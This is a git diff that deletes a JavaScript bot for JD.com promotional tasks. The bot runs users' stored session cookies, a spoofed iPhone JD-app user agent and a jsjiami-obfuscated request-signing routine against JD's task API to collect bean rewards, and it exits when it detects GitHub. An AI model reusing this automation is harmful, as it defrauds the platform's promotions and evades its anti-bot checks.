t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} - - diff --git a/backUp/gua_UnknownTask1.js b/backUp/gua_UnknownTask1.js deleted file mode 100644 index 084b43d..0000000 --- a/backUp/gua_UnknownTask1.js +++ /dev/null @@ -1,303 +0,0 @@ -/* - -https://prodev.m.jd.com/mall/active/2VyRHGE7jM1igBJcrjoB6ak1JJWV/index.html - - -如需加购请设置环境变量[guaunknownTask_addSku1]为"true" - -27 14 * 9 * https://raw.githubusercontent.com/smiek2221/scripts/master/gua_UnknownTask1.js -*/ -const $ = new Env('电脑配件'); -const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; - -const notify = $.isNode() ? require('./sendNotify') : ''; -//IOS等用户直接用NobyDa的jd cookie -let cookiesArr = [], - cookie = ''; -if ($.isNode()) { - Object.keys(jdCookieNode).forEach((item) => { - cookiesArr.push(jdCookieNode[item]) - }) - if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; -} else { - cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); -} - -let guaunknownTask_addSku = "false" -guaunknownTask_addSku = $.isNode() ? (process.env.guaunknownTask_addSku1 ? process.env.guaunknownTask_addSku1 : `${guaunknownTask_addSku}`) : ($.getdata('guaunknownTask_addSku1') ? $.getdata('guaunknownTask_addSku1') : `${guaunknownTask_addSku}`); -guaunknownTask_addSku = $.isNode() ? (process.env.guaunknownTask_addSku_All ? process.env.guaunknownTask_addSku_All : `${guaunknownTask_addSku}`) : ($.getdata('guaunknownTask_addSku_All') ? $.getdata('guaunknownTask_addSku_All') : `${guaunknownTask_addSku}`); -allMessage = "" -message = "" -$.hotFlag = false -$.outFlag = 0 -!(async () => { - if (!cookiesArr[0]) { - $.msg($.name, '【提示】请先获取cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/', { - "open-url": "https://bean.m.jd.com/" - }); - return; - } - MD5() - console.log(`入口:\nhttps://prodev.m.jd.com/mall/active/2VyRHGE7jM1igBJcrjoB6ak1JJWV/index.html`) - for (let i = 0; i < cookiesArr.length; i++) { - cookie = cookiesArr[i]; - if (cookie) { - $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) - $.index = i + 1; - message = "" - $.bean = 0 - $.hotFlag = false - await getUA() - $.nickName = ''; - console.log(`\n\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); - await run(); - if($.bean > 0 || message) { - let msg = `【京东账号${$.index}】${$.nickName || $.UserName}\n${$.bean > 0 && "获得"+$.bean+"京豆\n" || ""}${message}\n` - $.msg($.name, ``, msg); - allMessage += msg - } - } - if($.outFlag != 0) break - } - if(allMessage){ - $.msg($.name, ``, `${allMessage}\n`); - if ($.isNode()){ - await notify.sendNotify(`${$.name}`, `${allMessage}\n`); - } - } -})() - .catch((e) => $.logErr(e)) - .finally(() => $.done()) - - -async function run() { - try { - $.list = '' - await indexInfo(); - if($.hotFlag) message += `活动太火爆\n` - if($.hotFlag) return - if($.list){ - for(let i in $.list || []){ - $.oneTask = $.list[i] - if(guaunknownTask_addSku+"" != "true" && $.oneTask.taskName.indexOf('加购') > -1) console.log('\n如需加购请设置环境变量[guaunknownTask_addSku1]为"true"\n'); - if(guaunknownTask_addSku+"" != "true" && $.oneTask.taskName.indexOf('加购') > -1) continue; - for(let j in $.oneTask.taskList || []){ - $.task = $.oneTask.taskList[j] - console.log(`[${$.oneTask.taskName}] ${$.task.name} ${$.task.status == 4 && '已完成' || $.task.status == 3 && '未领取' || '未完成'}`) - if($.task.status != 4) await doTask('doTask', $.task.id, $.oneTask.taskId); - if($.oneTask.taskId == 3 && $.task.status != 4){ - await $.wait(parseInt(Math.random() * 1000 + 6000, 10)) - await doTask('getPrize', $.task.id, $.oneTask.taskId); - } - if($.outFlag != 0) { - message += "\n京豆库存已空,退出脚本\n" - return - } - if($.task.status != 4) await $.wait(parseInt(Math.random() * 1000 + 3000, 10)) - } - } - }else{ - console.log('获取不到任务') - } - await indexInfo(); - await $.wait(parseInt(Math.random() * 1000 + 2000, 10)) - if($.extraTaskStatus == 3 && $.outFlag == 0) await extraTaskPrize(); - await $.wait(parseInt(Math.random() * 1000 + 3000, 10)) - } catch (e) { - console.log(e) - } -} - -function indexInfo() { - return new Promise(async resolve => { - let sign = getSign("/tzh/combination/indexInfo",{"activityId": 11}) - $.get({ - url: `https://combination.m.jd.com/tzh/combination/indexInfo?activityId=11&t=${sign.timestamp}`, - headers: { - 'Accept': 'application/json, text/plain, */*', - 'Content-Type':'application/json;charset=utf-8', - "Accept-Language": "zh-cn", - "Connection": "keep-alive", - 'Cookie': cookie, - 'User-Agent': $.UA, - 'sign': sign.sign, - 'timestamp': sign.timestamp - } - }, async (err, resp, data) => { - try { - if (err) { - console.log(`${$.toStr(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - // console.log(data) - let res = $.toObj(data) - if(typeof res == 'object'){ - if(res.code == 200 && res.data){ - $.list = res.data.list - $.extraTaskStatus = res.data.extraTaskStatus - - }else if(res.msg){ - if(res.msg.indexOf('活动太火爆') > -1){ - $.hotFlag = true - } - console.log(res.msg) - }else{ - console.log(`活动获取失败\n${data}`) - console.log(data) - } - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} -function doTask(type, id, taskId) { - if($.outFlag != 0) return - return new Promise(async resolve => { - let sign = getSign(`/tzh/combination/${type}`,{"activityId": 11,"id":id,"taskId":taskId}) - $.post({ - url: `https://combination.m.jd.com/tzh/combination/${type}`, - body: `activityId=11&id=${id}&taskId=${taskId}&t=${sign.timestamp}`, - headers: { - 'Accept': 'application/json, text/plain, */*', - "Accept-Language": "zh-cn", - "Connection": "keep-alive", - "Accept-Encoding": "gzip, deflate, br", - "Content-Type": "application/x-www-form-urlencoded", - 'Cookie': cookie, - 'User-Agent': $.UA, - 'sign': sign.sign, - 'timestamp': sign.timestamp - } - }, async (err, resp, data) => { - try { - if (err) { - console.log(`${$.toStr(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - // console.log(data) - let res = $.toObj(data) - if(typeof res == 'object'){ - if(res.code == 200 && res.data){ - let msg = res.data.jdNum && res.data.jdNum+"京豆" || '' - if(res.data.jdNum){ - console.log(`获得 ${msg}`) - $.bean += Number(res.data.jdNum) || 0 - }else{ - console.log(data) - } - }else if(res.msg){ - if(res.msg.indexOf('活动太火爆') > -1){ - $.hotFlag = true - }else if(res.msg.indexOf('京豆已被抢光') > -1){ - message += res.msg+"\n" - $.outFlag = 1 - } - console.log(res.msg) - }else{ - console.log(`活动获取失败\n${data}`) - console.log(data) - } - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} -function extraTaskPrize() { - if($.outFlag != 0) return - return new Promise(async resolve => { - let sign = getSign(`/tzh/combination/extraTaskPrize`,{"activityId": 11}) - $.post({ - url: `https://combination.m.jd.com/tzh/combination/extraTaskPrize`, - body: `activityId=11&t=${sign.timestamp}`, - headers: { - 'Accept': 'application/json, text/plain, */*', - "Accept-Language": "zh-cn", - "Connection": "keep-alive", - "Accept-Encoding": "gzip, deflate, br", - "Content-Type": "application/x-www-form-urlencoded", - 'Cookie': cookie, - 'User-Agent': $.UA, - 'sign': sign.sign, - 'timestamp': sign.timestamp - } - }, async (err, resp, data) => { - try { - if (err) { - console.log(`${$.toStr(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - // console.log(data) - let res = $.toObj(data) - if(typeof res == 'object'){ - if(res.code == 200 && res.data){ - let msg = res.data.jdNum && res.data.jdNum+"京豆" || '' - if(res.data.jdNum){ - console.log(`获得 ${msg}`) - $.bean += Number(res.data.jdNum) || 0 - }else{ - console.log(data) - } - }else if(res.msg){ - if(res.msg.indexOf('活动太火爆') > -1){ - $.hotFlag = true - } - console.log(res.msg) - }else{ - console.log(`活动获取失败\n${data}`) - console.log(data) - } - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} - -var _0xod9='jsjiami.com.v6',_0x5bef=[_0xod9,'anFxVlM=','Q0FmRE8=','ekV0aUk=','cHVzaA==','cHVqUkM=','bGVuZ3Ro','am9pbg==','QkVuS2U=','TEJlUFk=','c29ydA==','bWQ1','bGxOa3A=','ZnVuY3Rpb24=','c3ltYm9s','SHVOTkg=','cWRrS3o=','Q1l3eFQ=','Y2hPTlM=','aXRlcmF0b3I=','bXdqYk8=','VlBpVVY=','Y29uc3RydWN0b3I=','WVZUZVE=','cHJvdG90eXBl','RWdlUVc=','MDcwMzVjYWJiODRsbTY5NA==','Z2V0VGltZQ==','SHdLdHg=','ZXN5Ulo=','RnlPSHE=','c3RyaW5n','b2JqZWN0','WkJvb1c=','c3BsaXQ=','aVJYUlg=','ZnpVclE=','VnhmVEc=','Vm9LTGk=','QU5kTWo=','aG9kaWg=','ZENOQWM=','VGpXQnE=','Q05nYmE=','JjzusjHMGQiarhmHGJQiH.cXom.v6=='];(function(_0x4ab3e5,_0x5222de,_0x31f1e0){var _0x404a60=function(_0x567d24,_0x32f6e1,_0x4d9fdd,_0x359358,_0x5a5227){_0x32f6e1=_0x32f6e1>>0x8,_0x5a5227='po';var _0xfb4b7a='shift',_0x3c8756='push';if(_0x32f6e1<_0x567d24){while(--_0x567d24){_0x359358=_0x4ab3e5[_0xfb4b7a]();if(_0x32f6e1===_0x567d24){_0x32f6e1=_0x359358;_0x4d9fdd=_0x4ab3e5[_0x5a5227+'p']();}else if(_0x32f6e1&&_0x4d9fdd['replace'](/[JzuHMGQrhHGJQHX=]/g,'')===_0x32f6e1){_0x4ab3e5[_0x3c8756](_0x359358);}}_0x4ab3e5[_0x3c8756](_0x4ab3e5[_0xfb4b7a]());}return 0xa5c5b;};return _0x404a60(++_0x5222de,_0x31f1e0)>>_0x5222de^_0x31f1e0;}(_0x5bef,0x1cc,0x1cc00));var _0x3a21=function(_0x26c357,_0x31e3a6){_0x26c357=~~'0x'['concat'](_0x26c357);var _0x38f6ed=_0x5bef[_0x26c357];if(_0x3a21['ZjnQwh']===undefined){(function(){var _0x55d77d=function(){var _0x2d6df5;try{_0x2d6df5=Function('return\x20(function()\x20'+'{}.constructor(\x22return\x20this\x22)(\x20)'+');')();}catch(_0x1c1a2a){_0x2d6df5=window;}return _0x2d6df5;};var _0x4bec7d=_0x55d77d();var _0x5d2b3f='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';_0x4bec7d['atob']||(_0x4bec7d['atob']=function(_0x15447c){var _0x27cd06=String(_0x15447c)['replace'](/=+$/,'');for(var _0x52d59e=0x0,_0x492075,_0x408e69,_0x44b376=0x0,_0x2e4eb8='';_0x408e69=_0x27cd06['charAt'](_0x44b376++);~_0x408e69&&(_0x492075=_0x52d59e%0x4?_0x492075*0x40+_0x408e69:_0x408e69,_0x52d59e++%0x4)?_0x2e4eb8+=String['fromCharCode'](0xff&_0x492075>>(-0x2*_0x52d59e&0x6)):0x0){_0x408e69=_0x5d2b3f['indexOf'](_0x408e69);}return _0x2e4eb8;});}());_0x3a21['oGvQST']=function(_0x4882b7){var _0x487293=atob(_0x4882b7);var _0x258ead=[];for(var _0x4f2fa0=0x0,_0xa2ac1d=_0x487293['length'];_0x4f2fa0<_0xa2ac1d;_0x4f2fa0++){_0x258ead+='%'+('00'+_0x487293['charCodeAt'](_0x4f2fa0)['toString'](0x10))['slice'](-0x2);}return decodeURIComponent(_0x258ead);};_0x3a21['Ajteia']={};_0x3a21['ZjnQwh']=!![];}var _0xc96c33=_0x3a21['Ajteia'][_0x26c357];if(_0xc96c33===undefined){_0x38f6ed=_0x3a21['oGvQST'](_0x38f6ed);_0x3a21['Ajteia'][_0x26c357]=_0x38f6ed;}else{_0x38f6ed=_0xc96c33;}return _0x38f6ed;};function M(_0xc44a8f,_0x429a90,_0xdee559){var _0x4488a6={'CNgba':function(_0x215ac0,_0x215aad){return _0x215ac0==_0x215aad;},'fzUrQ':_0x3a21('0'),'jqqVS':function(_0x287be6,_0x58e96c){return _0x287be6+_0x58e96c;},'CAfDO':function(_0x38b00c,_0x1906ca){return _0x38b00c==_0x1906ca;},'ANdMj':_0x3a21('1'),'zEtiI':function(_0xba739d,_0x149c91){return _0xba739d(_0x149c91);},'pujRC':function(_0x5325b4,_0x2366cf){return _0x5325b4+_0x2366cf;},'VxfTG':function(_0x5173a1,_0x5eb552){return _0x5173a1+_0x5eb552;},'iRXRX':function(_0x411582,_0x32e553){return _0x411582==_0x32e553;},'VoKLi':function(_0x1e1ab6,_0xc55723){return _0x1e1ab6==_0xc55723;},'hodih':function(_0xa982a7,_0x531bdc){return _0xa982a7(_0x531bdc);},'dCNAc':function(_0x17dede,_0x2a2f62){return _0x17dede!==_0x2a2f62;},'TjWBq':_0x3a21('2'),'BEnKe':function(_0x390681,_0x2994f8){return _0x390681+_0x2994f8;},'LBePY':function(_0x74c611,_0x49f5f4){return _0x74c611+_0x49f5f4;},'llNkp':function(_0x302fe3,_0x5de6de){return _0x302fe3+_0x5de6de;}};var _0x1f1f5c='',_0x110178=_0xdee559[_0x3a21('3')]('?')[0x1]||'';if(_0xc44a8f){if(_0x4488a6[_0x3a21('4')](_0x4488a6[_0x3a21('5')],typeof _0xc44a8f))_0x1f1f5c=_0x4488a6[_0x3a21('6')](_0xc44a8f,_0x110178);else if(_0x4488a6[_0x3a21('7')](_0x4488a6[_0x3a21('8')],_0x4488a6[_0x3a21('9')](x,_0xc44a8f))){if(_0x4488a6[_0x3a21('a')](_0x4488a6[_0x3a21('b')],_0x4488a6[_0x3a21('b')])){if(_0x4488a6[_0x3a21('c')](_0x4488a6[_0x3a21('5')],typeof _0xc44a8f))_0x1f1f5c=_0x4488a6[_0x3a21('d')](_0xc44a8f,_0x110178);else if(_0x4488a6[_0x3a21('e')](_0x4488a6[_0x3a21('8')],_0x4488a6[_0x3a21('f')](x,_0xc44a8f))){var _0x3ff3f9=[];for(var _0x3a1019 in _0xc44a8f)_0x3ff3f9[_0x3a21('10')](_0x4488a6[_0x3a21('d')](_0x4488a6[_0x3a21('11')](_0x3a1019,'='),_0xc44a8f[_0x3a1019]));_0x1f1f5c=_0x3ff3f9[_0x3a21('12')]?_0x4488a6[_0x3a21('6')](_0x3ff3f9[_0x3a21('13')]('&'),_0x110178):_0x110178;}}else{var _0x407463=[];for(var _0x3f044c in _0xc44a8f)_0x407463[_0x3a21('10')](_0x4488a6[_0x3a21('14')](_0x4488a6[_0x3a21('15')](_0x3f044c,'='),_0xc44a8f[_0x3f044c]));_0x1f1f5c=_0x407463[_0x3a21('12')]?_0x4488a6[_0x3a21('15')](_0x407463[_0x3a21('13')]('&'),_0x110178):_0x110178;}}}else _0x1f1f5c=_0x110178;if(_0x1f1f5c){var _0xed2a35=_0x1f1f5c[_0x3a21('3')]('&')[_0x3a21('16')]()[_0x3a21('13')]('');return $[_0x3a21('17')](_0x4488a6[_0x3a21('18')](_0xed2a35,_0x429a90));return _0x4488a6[_0x3a21('18')](_0xed2a35,_0x429a90);}return $[_0x3a21('17')](_0x429a90);return _0x429a90;}function x(_0x543ed7){var _0x59f6a8={'mwjbO':function(_0x1d95c8,_0x185b22){return _0x1d95c8===_0x185b22;},'qdkKz':_0x3a21('19'),'VPiUV':function(_0x44e857,_0x30eba3){return _0x44e857===_0x30eba3;},'YVTeQ':function(_0x14d902,_0x3e6382){return _0x14d902!==_0x3e6382;},'chONS':_0x3a21('1a'),'HuNNH':function(_0x49e6ac,_0x3b178a){return _0x49e6ac===_0x3b178a;},'CYwxT':function(_0x3acb6a,_0x86b540){return _0x3acb6a===_0x86b540;},'EgeQW':function(_0x3eb366,_0x504ccf){return _0x3eb366(_0x504ccf);}};return x=_0x59f6a8[_0x3a21('1b')](_0x59f6a8[_0x3a21('1c')],typeof Symbol)&&_0x59f6a8[_0x3a21('1d')](_0x59f6a8[_0x3a21('1e')],typeof Symbol[_0x3a21('1f')])?function(_0x543ed7){return typeof _0x543ed7;}:function(_0x543ed7){return _0x543ed7&&_0x59f6a8[_0x3a21('20')](_0x59f6a8[_0x3a21('1c')],typeof Symbol)&&_0x59f6a8[_0x3a21('21')](_0x543ed7[_0x3a21('22')],Symbol)&&_0x59f6a8[_0x3a21('23')](_0x543ed7,Symbol[_0x3a21('24')])?_0x59f6a8[_0x3a21('1e')]:typeof _0x543ed7;},_0x59f6a8[_0x3a21('25')](x,_0x543ed7);}function getSign(_0x275690,_0x3d87d0){var _0x574204={'HwKtx':_0x3a21('26'),'esyRZ':function(_0x3b0b1b,_0x1b2926){return _0x3b0b1b+_0x1b2926;},'FyOHq':function(_0x37ac02,_0x313227,_0xc09a5c,_0x49ff18){return _0x37ac02(_0x313227,_0xc09a5c,_0x49ff18);}};let _0x3df4f3=new Date()[_0x3a21('27')]();_0x3d87d0['t']=_0x3df4f3;var _0x25b268=_0x574204[_0x3a21('28')];var _0x3c4a45=_0x3df4f3,_0x553e06=_0x574204[_0x3a21('29')](_0x25b268,_0x3c4a45);let _0x70c008={'sign':_0x574204[_0x3a21('2a')](M,_0x3d87d0,_0x553e06,_0x275690),'timestamp':_0x3c4a45};return _0x70c008;};_0xod9='jsjiami.com.v6'; - -function MD5(){ - // MD5 - !function (n) { "use strict"; function t(n, t) { var r = (65535 & n) + (65535 & t); return (n >> 16) + (t >> 16) + (r >> 16) << 16 | 65535 & r } function r(n, t) { return n << t | n >>> 32 - t } function e(n, e, o, u, c, f) { return t(r(t(t(e, n), t(u, f)), c), o) } function o(n, t, r, o, u, c, f) { return e(t & r | ~t & o, n, t, u, c, f) } function u(n, t, r, o, u, c, f) { return e(t & o | r & ~o, n, t, u, c, f) } function c(n, t, r, o, u, c, f) { return e(t ^ r ^ o, n, t, u, c, f) } function f(n, t, r, o, u, c, f) { return e(r ^ (t | ~o), n, t, u, c, f) } function i(n, r) { n[r >> 5] |= 128 << r % 32, n[14 + (r + 64 >>> 9 << 4)] = r; var e, i, a, d, h, l = 1732584193, g = -271733879, v = -1732584194, m = 271733878; for (e = 0; e < n.length; e += 16)i = l, a = g, d = v, h = m, g = f(g = f(g = f(g = f(g = c(g = c(g = c(g = c(g = u(g = u(g = u(g = u(g = o(g = o(g = o(g = o(g, v = o(v, m = o(m, l = o(l, g, v, m, n[e], 7, -680876936), g, v, n[e + 1], 12, -389564586), l, g, n[e + 2], 17, 606105819), m, l, n[e + 3], 22, -1044525330), v = o(v, m = o(m, l = o(l, g, v, m, n[e + 4], 7, -176418897), g, v, n[e + 5], 12, 1200080426), l, g, n[e + 6], 17, -1473231341), m, l, n[e + 7], 22, -45705983), v = o(v, m = o(m, l = o(l, g, v, m, n[e + 8], 7, 1770035416), g, v, n[e + 9], 12, -1958414417), l, g, n[e + 10], 17, -42063), m, l, n[e + 11], 22, -1990404162), v = o(v, m = o(m, l = o(l, g, v, m, n[e + 12], 7, 1804603682), g, v, n[e + 13], 12, -40341101), l, g, n[e + 14], 17, -1502002290), m, l, n[e + 15], 22, 1236535329), v = u(v, m = u(m, l = u(l, g, v, m, n[e + 1], 5, -165796510), g, v, n[e + 6], 9, -1069501632), l, g, n[e + 11], 14, 643717713), m, l, n[e], 20, -373897302), v = u(v, m = u(m, l = u(l, g, v, m, n[e + 5], 5, -701558691), g, v, n[e + 10], 9, 38016083), l, g, n[e + 15], 14, -660478335), m, l, n[e + 4], 20, -405537848), v = u(v, m = u(m, l = u(l, g, v, m, n[e + 9], 5, 568446438), g, v, n[e + 14], 9, -1019803690), l, g, n[e + 3], 14, -187363961), m, l, n[e + 8], 20, 1163531501), v = u(v, m = u(m, l = u(l, g, v, m, n[e + 13], 5, -1444681467), g, v, n[e + 2], 9, -51403784), l, g, n[e + 7], 14, 1735328473), m, l, n[e + 12], 20, -1926607734), v = c(v, m = c(m, l = c(l, g, v, m, n[e + 5], 4, -378558), g, v, n[e + 8], 11, -2022574463), l, g, n[e + 11], 16, 1839030562), m, l, n[e + 14], 23, -35309556), v = c(v, m = c(m, l = c(l, g, v, m, n[e + 1], 4, -1530992060), g, v, n[e + 4], 11, 1272893353), l, g, n[e + 7], 16, -155497632), m, l, n[e + 10], 23, -1094730640), v = c(v, m = c(m, l = c(l, g, v, m, n[e + 13], 4, 681279174), g, v, n[e], 11, -358537222), l, g, n[e + 3], 16, -722521979), m, l, n[e + 6], 23, 76029189), v = c(v, m = c(m, l = c(l, g, v, m, n[e + 9], 4, -640364487), g, v, n[e + 12], 11, -421815835), l, g, n[e + 15], 16, 530742520), m, l, n[e + 2], 23, -995338651), v = f(v, m = f(m, l = f(l, g, v, m, n[e], 6, -198630844), g, v, n[e + 7], 10, 1126891415), l, g, n[e + 14], 15, -1416354905), m, l, n[e + 5], 21, -57434055), v = f(v, m = f(m, l = f(l, g, v, m, n[e + 12], 6, 1700485571), g, v, n[e + 3], 10, -1894986606), l, g, n[e + 10], 15, -1051523), m, l, n[e + 1], 21, -2054922799), v = f(v, m = f(m, l = f(l, g, v, m, n[e + 8], 6, 1873313359), g, v, n[e + 15], 10, -30611744), l, g, n[e + 6], 15, -1560198380), m, l, n[e + 13], 21, 1309151649), v = f(v, m = f(m, l = f(l, g, v, m, n[e + 4], 6, -145523070), g, v, n[e + 11], 10, -1120210379), l, g, n[e + 2], 15, 718787259), m, l, n[e + 9], 21, -343485551), l = t(l, i), g = t(g, a), v = t(v, d), m = t(m, h); return [l, g, v, m] } function a(n) { var t, r = "", e = 32 * n.length; for (t = 0; t < e; t += 8)r += String.fromCharCode(n[t >> 5] >>> t % 32 & 255); return r } function d(n) { var t, r = []; for (r[(n.length >> 2) - 1] = void 0, t = 0; t < r.length; t += 1)r[t] = 0; var e = 8 * n.length; for (t = 0; t < e; t += 8)r[t >> 5] |= (255 & n.charCodeAt(t / 8)) << t % 32; return r } function h(n) { return a(i(d(n), 8 * n.length)) } function l(n, t) { var r, e, o = d(n), u = [], c = []; for (u[15] = c[15] = void 0, o.length > 16 && (o = i(o, 8 * n.length)), r = 0; r < 16; r += 1)u[r] = 909522486 ^ o[r], c[r] = 1549556828 ^ o[r]; return e = i(u.concat(d(t)), 512 + 8 * t.length), a(i(c.concat(e), 640)) } function g(n) { var t, r, e = ""; for (r = 0; r < n.length; r += 1)t = n.charCodeAt(r), e += "0123456789abcdef".charAt(t >>> 4 & 15) + "0123456789abcdef".charAt(15 & t); return e } function v(n) { return unescape(encodeURIComponent(n)) } function m(n) { return h(v(n)) } function p(n) { return g(m(n)) } function s(n, t) { return l(v(n), v(t)) } function C(n, t) { return g(s(n, t)) } function A(n, t, r) { return t ? r ? s(t, n) : C(t, n) : r ? m(n) : p(n) } $.md5 = A }(this); -} - - - -async function getUA(){ - $.UA = `jdapp;iPhone;10.0.10;14.3;${randomString(40)};network/wifi;model/iPhone12,1;addressid/4199175193;appBuild/167741;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1` -} -function randomString(e) { - e = e || 32; - let t = "abcdef0123456789", a = t.length, n = ""; - for (i = 0; i < e; i++) - n += t.charAt(Math.floor(Math.random() * a)); - return n -} - -function jsonParse(str) { - if (typeof str == "string") { - try { - return JSON.parse(str); - } catch (e) { - console.log(e); - $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') - return []; - } - } -} -// prettier-ignore -function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete 